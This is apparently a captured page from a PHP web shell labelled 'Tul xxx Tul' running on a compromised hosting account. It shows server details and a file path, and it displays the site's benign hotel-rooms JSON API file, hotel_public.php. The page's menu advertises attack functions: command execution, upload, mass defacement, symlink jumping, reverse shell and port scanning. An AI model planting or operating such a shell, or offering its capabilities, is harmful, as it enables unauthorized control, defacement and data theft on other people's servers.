Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
hoteles
/
api
/
Viewing: hotel_public.php
<?php declare(strict_types=1); header('Content-Type: application/json; charset=utf-8'); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Headers: *'); require_once dirname(__DIR__) . '/app/models/HotelRoom.php'; require_once dirname(__DIR__) . '/app/models/HotelService.php'; use App\Models\HotelRoom; use App\Models\HotelService; try { $roomsRaw = HotelRoom::allWithRelations(); $rooms = array_values(array_map(static function (array $room): array { $imagen = (string) ($room['imagen'] ?? ''); if ($imagen === '') { $imagen = 'public/img/hotel/default-room.jpg'; } if (!preg_match('/^https?:\/\//i', $imagen)) { $path = ltrim($imagen, '/'); if (strpos($path, 'img/') === 0) { $path = 'public/' . $path; } $imagen = './' . $path; } $servicios = array_map(static fn (array $svc): string => (string) ($svc['nombre'] ?? ''), $room['servicios'] ?? []); return [ 'id' => (int) ($room['id'] ?? 0), 'codigo' => (string) ($room['codigo'] ?? ''), 'titulo' => (string) ($room['titulo'] ?? ''), 'descripcion' => (string) ($room['descripcion'] ?? ''), 'precio_noche' => (float) ($room['precio_noche'] ?? 0), 'capacidad' => (int) ($room['capacidad'] ?? 1), 'estado' => (string) ($room['estado'] ?? ''), 'imagen' => $imagen, 'tipo' => (string) ($room['tipo_nombre'] ?? ''), 'servicios' => $servicios, ]; }, $roomsRaw)); $servicesCatalog = HotelService::all(true); $services = array_map(static function (array $service): array { $imagen = (string) ($service['imagen'] ?? ''); if ($imagen === '') { $imagen = 'public/img/hotel/default-service.jpg'; } if (!preg_match('/^https?:\/\//i', $imagen)) { $imagen = './' . ltrim($imagen, './'); } return [ 'id' => (int) ($service['id'] ?? 0), 'nombre' => (string) ($service['nombre'] ?? ''), 'descripcion' => (string) ($service['descripcion'] ?? ''), 'precio' => (float) ($service['precio'] ?? 0), 'tipo' => (string) ($service['tipo'] ?? ''), 'imagen' => $imagen, ]; }, $servicesCatalog); echo json_encode([ 'success' => true, 'data' => [ 'habitaciones' => $rooms, 'servicios' => $services, ], ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR); } catch (\Throwable $e) { http_response_code(500); echo json_encode([ 'success' => false, 'error' => 'No se pudieron obtener los datos del hotel.', ], JSON_UNESCAPED_UNICODE); }
Coded With 💗 by
0x6ick